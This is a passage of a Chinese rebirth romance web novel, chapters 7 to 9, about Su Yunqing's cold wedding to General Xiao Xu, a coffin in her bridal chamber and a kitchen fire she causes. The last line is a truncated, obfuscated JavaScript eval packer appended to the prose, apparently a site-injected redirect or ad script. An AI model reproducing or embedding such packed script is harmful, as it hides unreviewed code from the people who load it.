盖头遮挡看不清苏云青的神情,但她挺立于风雪之中,浑身透着一股不容忽视的坚韧。 旁人议论道:“这……怎么是贺将军,萧将军不亲自接亲?” “唉,有人来接亲都不错了。” 贺三七扫过苏云青空空如也的身后,微阖起眸来。 苏济等人见状,连忙下车行礼,“贺将军。” 贺三七勒紧缰绳,昂起头来,冷淡道:“几位请回。” 苏济愣了一会,尴尬试探问道:“这……拜堂之事……” 贺三七冷笑道:“拜堂?拜堂与各位有何干系?” 他扬起声调,“将军有话!苏大人另娶妾室,本将夫人即入侯府,便是侯府之人,与你苏家再无瓜葛,庶不待见。” 如此直截了当,毫不留情打回苏济的歪心思,当街羞辱。 苏济脸色铁青,却不得不赔笑,“将军说的是……往日是微臣薄待了云青……那便送到此处。” 贺三七勾起唇来,眼底闪过寒意,忽然拔剑而出,剑锋寒光闪烁,吓得苏济浑身一震。轿子在苏云青身边停下,长剑为她挑起轿帘。 “请夫人,上轿。” 他扯过马头,掉转方向,走到队伍前去,收起长剑,高声喝道:“起轿,回府!” 7. 又见(7) 摇晃的轿子,行于长街之中,走完剩下不多的路程。 苏云青低头瞧见自己湿透的鞋与肮脏的裙摆,湿漉漉的贴在肌肤上,寒意布满全身。 她用裙摆盖住鞋尖,不再去看,仿佛已经知晓一会儿拜堂之事,无非又是她自己走个流程。 “到了。” 贺三七翻身下马,并不理会轿子里的人,自顾自地往府里走。 庄重霸气的将军府已换上了“镇远侯府”的牌匾,黑甲军高举喜旗沿路站成两排,一个个紧绷着脸,严肃得看不到一丝喜庆之色。 芳兰心里发怵,掀开轿帘,扶苏云青下轿,带她朝府里走。 苏云青抬腿跨过门槛。 重活一世,她又一次回到这座牢笼,嫁他为妻。 正厅的门紧闭着,这次不知道是要让她们在门口再等几个时辰。 然而,贺三七仅仅拦下了芳兰,“你等在外,没有召见不得移动半步。” 芳兰缩起肩膀,看着贺三七手里的长剑,点了点头。 贺三七将剑尾伸到苏云青面前,不容置疑道:“跟我来。” 眼前的门缓缓打开,苏云青抬手搭上他的剑尾,跟他踏入正厅,身后的门紧接着关上。他们穿过正厅,一路往里走,弯弯绕绕,苏云青在脑海里回忆着这处地方。 前世,萧叙对她有禁足令,她虽贵为将军府的夫人,可不过就是个比苏大小姐稍好些的虚名,在府中能去之地并不多,甚至有一处她从踏足的禁地。 “滋啦——” 贺三七推开一扇门,浓烈的香火气息扑鼻而来,屋中寂静无声。 他抽走剑,没一会儿,将一条牵红塞入她的手中。 苏云青目光很快捕捉到贺三七红色的袖子。 他今日穿了红衣?!在萧叙的府中! 她下意识猛然抬起头来,盖头下的金苏“叮当”一响。 但很快,她意识到这很可能是贺三七在试探她,当初明翰堂她穿一袭红衣究竟是有意还是无意。 如她所料,贺三七瞧见她的盖头抖动两下后,转头看向牵红另一头的萧叙。萧叙一袭鲜红的喜服,墨发一丝不苟冠起,身影修长挺拔,随意站在那里,便散发一股肃然之气。 贺三七得意扬起嘴角,朝祠堂里的几人看去。里面皆是萧叙的心腹,贺老将军双手架在扶椅,盛气凌人坐在祭坛斜侧,昏暗的环境下抬起眼,与剩下几人无声对视。 苏云青攥紧牵红,并不知道盖头外面发生了什么,也不知道有谁在,甚至不知道自己在何处。 牵红另一头轻扯两下,示意她跟着往屋里走。 苏云青心几乎提到了嗓子眼,这与前世不一样! 前世虽然也是贺三七接亲,也拒绝苏家等人踏入将军府,但拜堂时芳兰是跟着的,也无人给她递牵红,是她一人走完所有拜堂流程,跪了天地。 未知的一切让她心生不安,也令她有些不镇定,乱了阵脚。 她只以为牵红另一头是要代萧叙拜堂的贺三七,殊不知,牵红另一头正是同样穿着喜服的萧叙。 刚踏进屋子,就听一道指骨扣桌之声轻响。 除了贺三七还有人在!司仪? 扣桌之声短而清脆,有力有劲,能控制声响大小,是个常年习武之人。 那么,只有一个人了。 苏云青:“晚辈苏云青见过贺老将军。” 祠堂沉静半晌,铿锵有力的话语回道。 “苏家小姐,知道我是谁?” 贺老将军,贺仲良,萧叙的父亲。没想到这次成亲,他居然也会在。 苏云青上辈子也是怕他的,他们没过多的交流,但屈指可数的几次见面中,从未见他露过一丝笑脸,永远低沉着脸凝视她,仿佛能将她看透。 苏云青笑道:“小女今日嫁将军为妻,既是要拜堂,高位上坐的自然是长辈,无需猜。” 莫非,今生萧叙是想让她与贺三七拜堂,成他们那桩婚事?把她甩给贺府。 苏云青心中没底乱得很,只能胡思乱想的猜测。 贺三七抱剑斜倚在门框处,抬眼看向萧叙。他的这个新婚妻子,有趣得很。 贺仲良:“既然如此,那么进来跪下,拜堂。” 他的声音在旁侧响起,随后跪垫滑到苏云青脚下,她犹豫了一会儿,跪了下去,却感觉牵红始终扯着,别过头才发觉,旁边牵着牵红的“贺三七”无需下跪。 贺仲良:“先三拜高堂” 苏云青曲下身子默默叩了下去。 然而,她不知道的是,眼前无一活人,祭坛之上,是无数牌位。 暖红的烛光在萧叙晦暗的眸中跳跃,他默然片刻,躬身拜了三拜。 三拜之后,才开始婚礼三拜。 贺老将军主持着,“一拜天地!” 苏云青艰难从地上爬起身,转过身对堂外躬身一拜。 “二拜高堂。” 她再次转回高堂的方向拜下去。 “夫妻对拜。” 苏云青乖巧不言,说什么做什么。她侧过身,对自己的夫君一拜。 萧叙站在她面前,低垂着眸,居高临下冷漠凝视他这个唯听是从的妻子。终是站着,没曲下他的身子,与她对拜。 他的所作所为,近乎是所有人意料之中。 贺仲良道:“礼成,入洞房。” 萧叙松开牵红,转头坐到贺老将军旁边,端起杯暖茶,丢了个眼神给贺三七。 贺三七点点头,又把剑柄伸到苏云青眼前,“走了。” 苏云青跟着他的步子往外走,来到另一处偏屋,她忍不住问道:“贺三七,与我拜堂的是你吗?” 她得知道情况,才能见招拆招。 贺三七嗓子藏匿玩味的笑意,不回答她的话,反问道:“你还有什么遗言?” 苏云青心里咯噔一下,定住了脚。 贺三七不催促,视线顺着自己的剑,看向她握紧剑尾泛白手指,“苏小姐,明翰堂一别,我们又见面了。” 苏云青:“我想知道……将军此番是何用意。” 贺三七扯了下剑,让她继续跟着往前走,“孤独终老呗,能是什么计划。” “圣旨只道赐婚嫁娶,可没说保苏小姐的命。” 苏云青沉默片刻,“那不知,过了今夜,将军要为我安排一个什么死法。” 贺三七‘噗呲’一笑,“那还得请苏小姐配合,给自己制造一场意外。” “什么意思?”苏云青心底慌乱,她觉得贺三七既然这么说了,那么恐真是想她死。 “洞房到了,进去吧。”贺三七把人带进屋子,随后在外反手关上了门,离开了。 昏暗的屋子,透着阵阵冷意。 苏云青进到屋子中,一把扯下盖头,环顾四周。与前世她住的偏屋相同,只不过……窗边多了一口开盖的棺材…… 是为她准备的。 她移过目光,屋子角落架着一张她的画像,估摸着是赐婚后,贺三七寻人问来的,想知道这个即将嫁入将军府的夫人到底长什么样。 怪不得,这次嫁娶与前世不同,他们在试探她。放口棺材吓唬,让她跑出去,好有理由在府外制造她身亡的意外。再放出传谣,日后陛下也不会再给他塞妻妾入府。 苏云青承认这一次,她思绪过于混乱,完全无法探清萧叙究竟想做什么。她重新为自己盖好盖头,坐到床边。 天色渐晚,雪越落越大,她在洞房等了一整天。 关于萧叙与贺仲良的父子关系,苏云青上辈子便心存疑虑。为何贺将军姓贺,而一代名将之子,萧叙却冠姓萧。 贺府对外宣称萧叙是养子,但贺老将军对萧叙的重视,远比对亲生儿子贺三七更上心。 久而久之,民间流出传言。萧叙随母姓,是贺老将军年少轻狂时,在外征战留下的私生子。奈何母亲身份低微,入不了将军府,贺老将军又被招回京与贵女成亲,于是隐瞒了萧叙的存在。 萧叙母亲去世后,12岁的萧叙被贺老将军带回贺府。那时,贺三七才3岁,还是个懵懂无知、牙牙学语的年纪。听说自带萧叙入府后,贺家就没安宁过,整日吵吵闹闹。贺老将军也常年不归家,后来索性把两个儿子带在身边。直到前些年老夫人逝世,家中才得以清净。 贺老将军常年征战在外,贺三七几乎是跟在萧叙身后长大的,感情比谁都深,也从不在意萧叙的身份。 萧叙始终未更名换姓,因他终究非正妻所出,且贺老将军一口咬死他就是养子。因此,大伙只敢在背后猜测,嚼嚼舌根。 萧叙年少封将后,与贺府分了家,独自住在自己的宅院中,也就是如今的镇远侯府。 苏云青前世曾暗中查出了一些事。世人都道萧将军是少年英才,19岁封将成名,21岁助李澈登帝。如今景和十四年大胜乌余十三族回京复命,年仅26岁封为镇远侯,调职回京,娶妻成家。 然而,她知晓,萧叙真实年纪并非26岁,而是24岁。贺老将军带他回府时,对外假报了2岁。 她不知贺老将军为何如此,也无法再深查这个秘密,但她还知道另一个秘密。 “咯吱——” 屋门被推开,长靴踩在木板上,脚步稳健由远及近,向她靠近。 萧叙来了。 苏云青认得出他的脚步,沉稳有力。她从床上起身,站定在他面前,二人无声对峙,空气凝固。 她猜想,他应是意外的,她没走。那么接下来,不知道她的夫君要如何逼迫她寻死,或是如上一世,持刀威逼利诱她签下那纸和离书。 寒风从大敞的门灌入,卷着雪飘进屋内。萧叙始终没有动作,打量着她与屋子里的一切。 他显然没掀盖头的打算。 苏云青犹豫后开口,率先打破宁静。 “萧宴山。” 她唤出了,他的秘密。 “铮——!” 话音未落,长刀出鞘,刀锋划破寒夜,冰冷的刀刃瞬间架上她的脖颈。红彤彤的盖头被刀锋从旁压落,娇滴滴垂挂上他的刀面,金苏噼里啪啦落了满地。 她的面容露了出来,羽睫下眼眸澄澈,纳入清冷的雪光。脖颈传来刺痛,血迹渗出,染湿盖头,滚烫寒刀。 二人表面神情淡定,但目光交汇刹那,眼底却闪过一丝意外。 萧叙意外的是,三日不见,她微肿的脸上多了道未愈合的伤疤,格外刺眼。 而苏云青诧异的,是萧叙竟穿了那身鲜红的喜服。 莫非,白日与她拜堂的人,是他! 她怔怔看着他,扯出一抹淡笑,“苏瑶,是我的名。” “那不是你能叫的名字。”萧叙丝毫不怜香惜玉,加深刀劲,压着她的脖颈。只需再用力些,就能轻易取她性命。 萧宴山是他的名,是他的秘密。那,不是她能叫的名字。 鲜血从她的脖颈滑入心口,冷热交织。 “苏瑶是我的名,是将军能叫的名字。” 如石头砸在了棉花上,她的反应无惧无畏,似乎令萧叙感到丝不解的意外。 他微蹙起眉头,未语半分。 苏云青淡然道:“将军说得不错,既嫁给将军,我与 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他低眸扫过她被血染红的脖颈,拨开她发冠垂下的珠帘,指腹划过她的脖颈,带走温热的血迹,用她的血做朱砂,反手将指纹摁在和离书,“萧叙”二字上。 动作果断,毫不犹豫。 他不再多看她一眼,转身离去,大步跨入雪夜中。 苏云青目送他走远,余光瞥见一旁的棺椁,悬着的心终于放了下去,顿时像被抽走浑身力气,跌坐在椅子上。 触目的血痕永久留在和离书上。她在桌上翻了一番,发觉没有一壶热茶,寒风刺骨,手脚冰凉。她端起合卺酒,喝水似得,仰头灌了大半,才勉强将身子暖了回来。 门外的鹅毛大雪纷纷扬扬,在地上积起厚厚一层。 苏云青起身关门,在屋子里寻了一圈,只有一桶冰冷的水。她打着寒颤,随意梳洗一番,忍着腹中令人晕眩的饥饿,爬回床,缩成一团睡下了。 …… 贺三七在书房烤着红薯,整个屋子烛光明亮,暖意融融。 萧叙身上披了件玄色狐裘,早已将喜服褪下,披散乌发走到茶案前烧水泡茶。 “少主,你再不来,我红薯都要烤烂了。”贺三七搓了搓手心,拿着铁夹子,把红薯夹出来放到盘子里。 贺三七:“你说,把她留下是不是对的。李澈绝对不会轻易放过你,你把她弄死,紧接着就会塞进来下一个。” “要我说,等利用完,再把她弄死也不迟。”贺三七坐没坐样,胳膊搭在桌子边,懒洋洋邀功道:“据我三日查到的消息,你的夫人底子干净。苏济娶妾入室,逼死发妻后,苏云青在苏家便吃不饱穿不暖,处处受压迫。” “苏济为了升官发财,四处为她找婚事贱嫁。她脑子好使,与其他公子见面打扮的跟鬼一样,吓得别人晚上睡不着,一个两个全去退婚。”他拍着大腿笑啃了口红薯。 “她就脑子灵光些,不算什么坏事。与其他氏族的姑娘家对比起来,她如今只有将军府可以依靠,算是很不错的人选。” 炉子上的水壶“咕咚咕咚”沸腾。 “再说了,你比我们盘算得还深,那口棺材,也未将她吓走,可不证明,离了苏府,她已无处可去。”贺三七别过头去,突然想到什么,八卦问道:“少主这么着急给她丢去和离书,日后真不后悔?” 萧叙拎起水壶,洗杯泡茶,“方才不是你让我把她杀了?” “害,利用是一码事,情不自禁是另一码事。”贺三七摆摆手,“我看她脾气倔强,今早接亲迟去,她硬是闷头踩雪走了十条街。你这般羞辱,日后可别后悔。” 贺三七的话,萧叙似乎一句也没听进去。他添了一杯茶,推到贺三七面前。 “你不去入洞房喝合卺酒,在这里喝苦茶。” 萧叙不理会他。 贺三七挑眉,又确认了一遍,“你真把和离书签了啊?” “签了,为其三年。” 贺三七摇摇头,“不解风情啊。” 他抵在桌上凑过去,“她没被棺材吓跑,也没被你吓跑。你俩商量半天,她所要之物是什么?金银珠宝,权势名利?” 萧叙端茶的手突然在唇前停住,“一口饱饭。” 贺三七愣了两秒,随即拍桌大笑不止,“这么有意思!” 萧叙抿了口茶,“她叫我,萧宴山。” 贺三七笑容瞬间凝固在脸上,面色立即沉了下去。 方才还直言留下她的人,此刻忽然变了脸,阴沉道:“留不得她。” 他突然从地上蹿起来,拿起剑,往门口走。走没两步,就听萧叙在身后镇静来了一句,“我觉得有点意思。” 贺三七猛然回身,闪到桌子前,“她从何得知?又还有谁人知晓?可有逼问?” “如你所言,苏家小姐倔强,从她嘴中逼问是得不到答案的。”萧叙放下杯子,目光深邃,“李澈过几日因是要招她入宫了。” 贺三七点头,“定然。塞一个世家子弟来拜师学武,再怎么样也没直接嫁入将军府的眼线来得强,毕竟她能与你形影不离,只不过召她入宫,定是要个理由的。” 萧叙默然片刻,没再纠结那些事,反问道:“义父可有说什么?” 贺三七调侃道:“我爹能说什么,此次回京都是秘密前来,没想到还能顺便吃你一顿喜酒。” “祠堂拜堂,穿红衣,说是圆先祖之愿……”贺三七看向萧叙无奈叹了口气,把烤红薯掰开塞嘴里,含糊道:“我娘,会开心的吧。” 8. 又见(8) 苏云青的房门缓慢从外打开,寒风刮入,她在床上缩了缩身子,往被窝里钻。 “咣当——!”盘碗砸在地上,碎成数片。 “棺、棺材!”芳兰吓得一屁股跌坐在地,咬了舌头。 几道声响将苏云青惊醒,她扶着脑袋坐起身,不解道:“芳兰,你在做什么?” 芳兰脸色苍白,指着窗边的棺材,“你、你没死,那、那棺材。” “……”苏云青拎起一旁的嫁衣套在身上,走到她身旁,扫了眼地上的残渣,叹了口气,“你该问的不该是,我有没有事吗?” 芳兰从地上爬起来,磕巴道:“对对对,你没事吧。” 苏云青昨夜灌酒灌猛了,如今脑袋还昏着呢。她走到桌子边坐下,揉捏太阳穴,“还活着。你昨夜在哪?” 芳兰:“我……被叫去睡柴房了,今早贺将军在你的屋子边,给我安排了住处。” 苏云青没什么力气,软绵绵趴在桌上,浑身酸痛,脖子仿佛撕裂般疼痛,血迹凝固贴在脖颈,整个人都黏黏糊糊的。 “芳兰,你把我的饭给毁了。” 芳兰这才反应过来,“我……你房间怎么有口棺材。” 苏云青捂着咕噜叫的肚子,埋头说道:“送我上路用的。” “送、送你上路……”芳兰不禁打了个寒颤,“苏云青,你也太淡定了吧,居然和棺材睡了一晚。” 苏云青额头抵在桌子上,沉思片刻。 萧叙怎么没给她下禁令。 “芳兰,将军他们呢?” 芳兰:“一大早出去了,只交代我,把弄好的饭菜端来。” 苏云青抬手瞧了眼自己身上的喜服,太过红艳,这般在府里晃,恐会惹怒萧叙。 柜子空荡荡,什么都没有,她回眸扫了眼芳兰更换的婢女衣裳。 “芳兰,给我拿件衣裳来。” 芳兰:“我去哪给你找衣裳。” “你的屋中。” 芳兰不乐意,“怎么?苏大小姐嫁过来,将军连一件衣服也没给你准备吗?” 苏云青吃了三天白水粥,饿得前胸贴后背,趁现在没有禁令,她得去给自己找点吃的。 “你是想我穿这么招摇,带你去偷东西?” “偷、偷什么东西?” “还不帮我拿件衣服来。” 芳兰不情不愿给苏云青拿了件自己的衣裳,跟着她往膳房的方向走。 苏云青轻车熟路,左拐右绕,竟真躲过那些院子里做事的侍从。 “苏云青,你对将军府怎么这么熟悉。”芳兰不由好奇问道:“居然真能躲过去。可是……躲过了他们,膳房里的人怎么躲。” 苏云青:“这个时辰膳房里没人。还有,你真觉得没人盯着我们?” 芳兰往那些侍从的方向望去,偌大的将军府没有一个婢女,全是身体健硕的侍从,正专注扫院子,个个瞧着身手不凡。 她加快步伐跟上苏云青,低声询问:“那、那他们是什么意思?” 苏云青没有回答,径直推开膳房的门,里面果真空无一人。她饿得两眼冒星,走到一旁翻箱倒柜找食材。 本以为昨日要顿饱饭,萧叙会派人送来,结果还是得靠她自己动手。 “去生火烧水。” 柴火点燃后,浓浓的烟从烟囱冒了出去,渐渐升空。 …… 贺三七跟在萧叙身边,嘴里喋喋不休,正从外回府,突然‘狗鼻子’一动,嗅到一丝糊味。 抬头一看,一缕黑烟喷涌而出。 “谁把你屋子烧了!” 萧叙骤然回过头,后院角落里黑烟滚滚,不断上升。 “嗡!”明火直接蹿了上来,火势凶猛。 一向平静的将军府,莫说贺三七,就连萧叙自己也没见过这离谱的场景。 两人火急火燎赶过去,发现整个将军府的下人正急着救火,场面极度混乱。 只有一个人格外淡定,身上肮脏不忍直视,端着一碗鸡蛋面坐在阶梯上,慢条斯理吹散热气,填饱肚子。 芳兰在一边急得直跺脚,看到面前这景象,又看了看专注吃面的苏云青,两眼一黑差点背过气去。 “苏云青!我不就回去换个衣服,你……” 话没说完,芳兰余光瞥见后院门口,萧大将军面无表情阴沉着紧盯她们这边。 芳兰被盯得发毛,连忙往苏云青身边躲。然而,苏云青眼里只有那碗面。若不是看她浑身熏得黢黑,这淡定的模样,不知道的还以为是她故意纵火。 “苏云青……萧大将军回来了,我们要完蛋了。”芳兰压低声音,咬着后槽牙,挤出几字。 苏云青筷子挑起一团面,闻言扭过头去,淡淡扫了一眼萧叙,继续低头吃面。 事已至此,她着急忙慌也没用,不如先把肚子填饱。 厨房的火“嗡”一下一下往上蹿。 贺三七嘴角抽搐,“少主,你这夫人……有些厉害了,嫁过来第一天,就把屋子点了。” 萧叙眉头紧锁,“你查的消息,没查准确?” 贺三七一愣,“啊?什么?” “她不会做饭?!” “???”贺三七下巴差点垮到地上,惊呼道:“敢情在苏家受压迫吃不饱,是因为她不会做饭?!” 还能这样! 贺三七冲到苏云青面前,不可置信审问道:“你不会做饭?!” 她以前的日子是怎么过的?还是说苏家不许她进厨房,让她生扛硬饿,这样她才会对他们唯听是从。 难怪昨日和萧叙只要了一顿饱饭。 苏云青心虚瞧了眼缓步而来的萧叙,又仰头看向贺三七,最后把目光放到火苗“狂舞”的厨房屋顶上。 “……” 她能说是一场意外吗……她真没想把屋子给他点了,是冬日柴太潮,就多丢了些……总之是一场意外。 “这就是苏小姐昨日说的,安分守己?”萧叙凝视她碗里剩下的半碗挂面,“今早府里没有为你准备早膳?” 芳兰缩了缩脖子,降低自己的存在,生怕被牵连进去。 苏云青注视着他,想了会儿,干脆如实道:“准备了,但将军摆在我房中的棺材吓到了我的婢女,所以……我还没吃到,饭就撒了。” “苏小姐意思是我的不对?” “……” 萧叙凝视她被烟熏得漆黑的婢女衣裳,说道:“苏小姐烧了我的屋子,这笔账我会让周叔算清楚损失,送你屋里。” 苏云青:“……” 身无分文的人,欠了一屁股债……这碗面代价,未免也太大了。 她脑子里灵光一闪,忽然抬头,喊住萧叙离去的背影,“将军,我兜里没有钱……不如让我在府里做些差事抵债。” 贺三七闻言挑眉。才入府第一天,究竟是有意还是无意,居然想谋差事。他抱剑斜倚在立柱边,观赏大戏。 萧叙回过身,“噢?你想做什么差事?” 苏云青动了动自己淡漠的嘴角,扯出抹瞧起来 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萧叙抽出她掌心的刀,离开前再次警告苏云青,只不过换了句话,“以后厨房,无人允许,你不得靠近半步。” 苏云青目睹那人走远,指腹抚过刺痛的脖颈,默然片刻,转移注意低头看向剩下的半碗面,“吸溜”两下,将面和面汤一起吃了干净。她放下碗托腮望着厨房已经灭下的火,侍从在里面清点剩下不多的食材。 闹这么一出,倒是‘因祸得福’了,萧叙对她下得唯一一道禁令,是不许进入厨房。 “……” 也算一桩好事,前世她只能待在自己屋子附近,去任何地方都需向他报备,行动受阻。 而如今,只有进厨房需向他报备。 芳兰看着那一片狼藉,“苏云青,你也算是闯了大祸,这若是在苏府,逃不过一顿板子。” 周叔很快列举出一张悠长的账单递到苏云青眼前,“还请夫人过目。” 苏云青接到手上细看。早知不救面,先救厨房了…… 芳兰探过头来,震惊道:“土豆150个?!大白菜60颗?红薯300个!这也要算里面吗?这不是没成炭吗?正好都靠熟了,分了吃不行吗?” 苏云青若是要还债,她这个陪嫁丫鬟,岂不是要一起!她兜里才几个钱啊。 贺三七听不下去,为自己囤的一堆红薯打抱不平,“300个红薯怎么了?!什么叫熟了分来吃!” 周叔解释道:“红薯是贺公子最喜欢之物,旁人烤的,他都不满意,所以都是要赔的。还有这些砖瓦,食材都需夫人赔付。” 苏云青拧眉,把账单翻到最后,一长串数字,“怎么要还五倍价?” 周叔:“冬日物涨,临近过年,屋子要重建,材料不好买。” 苏云青:“那我根本找不到差事……” 周叔和蔼笑道:“不知夫人想做何差事?” 苏云青脑瓜子一转,说道:“我能伺候将军。” 周叔:“将军平日无需人伺候。” 苏云青有理有据道:“可我若做其他活,岂不是抢了别人的位置。” 周叔故作沉思,“不过,或许夫人能与将军商谈一二,看看将军愿意给夫人多少月钱。” 苏云青点点头,“我知晓了,晚些会去找将军。” 等所有人都离开了,芳兰才忍不住说道:“我先说好,厨房不是我烧的,这账和我可没关系。” 9. 又见(9) 萧叙此人戾气深重,对付他,苏云青勉强算有点经验。 吃软不吃硬,适当装小白花能稍微蒙混过关。 她孤身一人站在他的书房门前,深吸口气,轻叩两下门。 屋内寂静,无人应答。她犹豫片刻,推开一条细缝,探头往里张望。 左边无人,视线再往右一甩,萧叙端坐茶案前,手握一卷书,眸色极深看着鬼鬼祟祟的人。 被逮个正着,苏云青索性大步跨了进去,“将军。” 萧叙收回目光,低头继续看书,“有事?” 苏云青规规矩矩在他对面坐下,账单摆在他面前,也不说话。 萧叙起初懒得搭理,却在她怪异的目光注视下,再看不进一个字。 “说。” 苏云青展开账单,调转方向,手指从上往下顺着滑,最后停在末尾那串惊人的数字上。 把她卖了也还不起啊。 萧叙抬眸与她对上视线,不明她的意思。 苏云青顶着头被熏炸的头发,理直气壮吐出几字,“我还不起。” 所谓伸手不打笑脸人。 她的声音柔和似水,如此离谱的话从她嘴里说出来,怒火莫名无处宣泄。 “……”萧叙嘴角抽搐,话噎在喉,恨不得将人撵出去。 “府里的下人都有自己的活,我总不能抢别人的差事。”苏云青一边说,一边自然地端起炉子上的水壶,为他沏茶,“周叔说,将军身旁无人伺候,不如日后让我贴身伺候,月钱多少随将军心意。” 萧叙:“那不知,苏小姐想怎么伺候?” 苏云青眼见有戏,掰着手指说道:“端茶倒水,洗衣做饭,研墨递笔,我还能跑腿。” 她把茶杯推到他面前,挪回账单,认真审阅。 “做饭,不必。”萧叙垂眼看着面前续上热茶的白瓷杯,反手把茶倒了。 苏云青怔了一下,还未反应过来,萧叙已朝外喊道:“周叔!” 周叔近乎瞬间推门而入,他恭敬道:“少主。” 苏云青往旁边挪了两下,心中警觉,一副不想走的样子。 他想让周叔干什么? 拖下去把她杀了? “萧叙。” 她直呼他的大名,试图辩解,“那除了做饭,我……什么都能做的……” “拖下去。”萧叙不由分说打断她。 “!!!”苏云青瞳孔一震,机械地转过头去,“拖……拖下去,杀……杀了吗?” 真杀她啊!她才刚活过来几天。 周叔一把攥住她的胳膊,把她往外面拖。 她慌张问道:“萧叙。不是说为期三年吗?” 周叔认真询问主子的意思,“少主,是交由贺将军处理掉吗?” 萧叙掀起眼皮,眼底毫无温度,打量她那一身灰扑扑的衣裳,走两步落一地灰。 他拿起茶壶,用热水淋上她碰过的茶杯,烫得热气腾腾,淋完一整壶水仍不满意,直接连杯子砸在地上。 瓷片四溅,杯渣溅到她的脚边。 苏云青浑身一抖,后退半步。她知道他脾气差,但也不至于如避瘟神这么嫌弃她。 看样子,靠近萧叙查案子是没戏了。 “那……那我出府去谋份差事,能不杀我吗?” 贺三七那可也是个疯子,折磨人的手段层出不穷,半生不死最要命。 周叔这时已经掏出腰间的匕首,抵住她的后腰。 苏云青:“……” 她错了,不止萧叙和贺三七,整个将军府都是疯子。 萧叙:“苏小姐是想丢人丢到府外,还是想让他人知晓,你我之间三年的婚约?” “我没忘,既已嫁入将军府,伺候将军是我的本分?” 萧叙显然不想再听她多言,“拖下去。” 周叔点头,“是。” 苏云青注视着热雾后他那双隐晦不清的眸子,默默别过头。 下一刻,萧叙冰冷的声音传来,“让她的丫鬟,伺候她把身上洗干净。” 他再次低头看书。 苏云青呆愣,“嗯?周叔,将军这是何意?” 这么听着怪怪的。 周叔把人架出书房,关好门,无奈摇摇头,“夫人,是不是没照镜子。” “镜子?”苏云青一脸茫然。 周叔叹息道:“夫人换身衣裳再去找将军,将书房打理干净。” 苏云青眸光一亮,“所以,我是能进书房了?” 周叔提醒道:“夫人很聪明,但在将军府,您的那些小聪明是瞒不过将军的。莫要将他惹恼了,否则无人能保您性命。” “我知道了……” 是她太心急。 …… 周叔送她回屋,走到院门前,苏云青忽然想起一事。 “对了,周叔……我没有干净衣裳。” 周叔有些意外,“夫人没带衣裳过来?” 过了会儿,他像是反应过来什么,说道:“圣上赐婚仓促,少主对女子的事不甚了解。我一会儿派人送些衣裳来,夫人先沐浴。” “多谢。”苏云青点头送周叔出院子,心中却清楚。 谈不上了不了解,萧叙单纯不待见她。连她的屋子都是临时收拾出来的杂间。 她转头让芳兰帮她烧水沐浴。 芳兰叉腰站在院子的小炉前,满脸不悦,“苏云青,你今天把人厨房烧了,柴都被没收了,还洗什么澡!” “反正我不会帮你去要,你自己看着办。” 苏云青幽幽道:“我在将军府做了错事,柳晴柔不是该高兴吗?你正好有事能向她汇报,让她开心开心,诅咒我被将军府休了,一刀了断,抛尸荒野。” 她转身准备去找周叔要柴,扭头就见周叔已经派人把热水送来了。他正在院门前,目光在她与芳兰间游走,似乎已经观察了一阵。 苏云青心头一紧,感觉不对。 她前脚送走周叔,找芳兰烧水,后脚热水就烧好送来了。 周叔发丝夹杂几缕银发,腿有旧疾,虽不用拐杖,但抬重物时步履略显蹒跚。 “夫人,你看,我人老了容易忘事,我这才想起来,烧了厨房后,把你院子里的柴给收了。日后洗漱沐浴,我会准时派人送热水来。” 苏云青微微一笑,应声道:“多谢周叔了。” …… 回到房间,苏云青对着镜子,才知道自己变成了什么样,头发炸毛,脸沾灰渍。 难怪萧叙看她不顺眼。 她拎着几根缠一起的发丝,搓了两下,没解开,索性不管了。 ……浴室里,潮湿的雾气缭绕。苏云青放松身子靠在浴桶边,将整个人沉入水中,温水没过她的头顶,水波拍打她的发梢。 刚得片刻宁静。 “喂!苏云青你洗好没,周管事让我把衣裳给你拿来。”芳兰象征性敲了下门,随后径直跨进屋子,衣裳往架子一甩,扭头就走。 苏云青从水中探出头,看着那件滑落到地上的衣裳,无奈叹气,“……” 良久后,她收拾干净,重新回到书房,敲了门,依旧无人应答。 “将军……”苏云青探头观察,发现里面空无一人,“将军?” 整个书房未有一点影子。 目光在书架间游移。 他的书房或许能查到点信息。 她抬步往密集的书柜方向走,余光忽然瞥见地上一摊灰印,是她方才衣裳过脏,不小心留下的痕迹。 没收拾? 苏云青泛起疑惑。有点不太对,他厌恶她到连碰过的杯子都摔了,怎么会容忍她留下的污渍? 她犹豫片刻,发觉瓷片也仍然散落在地。须臾,她打消翻柜的想法,蹲下身收拾残渣。 苏云青手中没有帕子,正欲出门找周叔要一块。门开刹那,一道阴影骤然笼罩而下,她扬起头对上萧叙垂下的深眸。 解释的话尚未出口,他近乎下意识迅速出手,一掌重击在她肩膀,力道之大,令她整个人瞬间被击飞,猛地撞在书架上,书架剧烈晃动,数本卷轴砸落在她身上。 “咚——!” 苏云青脑袋发懵,脊背传来一阵疼痛,迫使她蜷缩成一团,手里才捡起的残渣再次撒落一地。 萧叙浑身散发狠戾寒气,金丝蟒袍的衣摆,随他迈入书房的步伐晃入苏云青眼底,他步伐沉稳向她逼近。 苏云青强忍疼痛,艰难支起身子,眼底生冷望着他,“我是来帮你收拾屋子的。” 书房或许真有能证实萧叙私藏兵权的证据。 她眼眸深不见底,嘴角勾起一抹淡笑,喘息两口,缓解全身散架般的疼痛,对他松开五指,捡起的瓷杯残渣带着血迹从她手心掉落。 萧叙看清是她后,瞳仁微不可查轻缩,而后踩碎地上残渣走到她面前,居高临下道:“苏小姐,是把将军府当自己家了?来去自如?” 苏云青自嘲一声,“不瞒将军,在苏府我也无法来去自如。” 她扶着书架爬起身,昂头与他对视,“我正要去找周叔取帕子,把地板打扫干净。” 这时,周叔听到动静,匆忙赶来,见到书房凌乱的模样,心中一紧,“少主……” 萧叙冷冷斜过眸子瞥他一眼。 周叔见状,额头渗出冷汗,“苏小姐,你怎么私自进了将军的书房?。” 苏云青捂着胳膊,秀气的眉拧成一团,脖颈的伤再次崩裂,她看向萧叙,“我……不过是想为将军把这里收拾干净。” 周叔面色紧绷,冷汗愈发明显,一动不敢动。 萧叙淡道:“周叔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 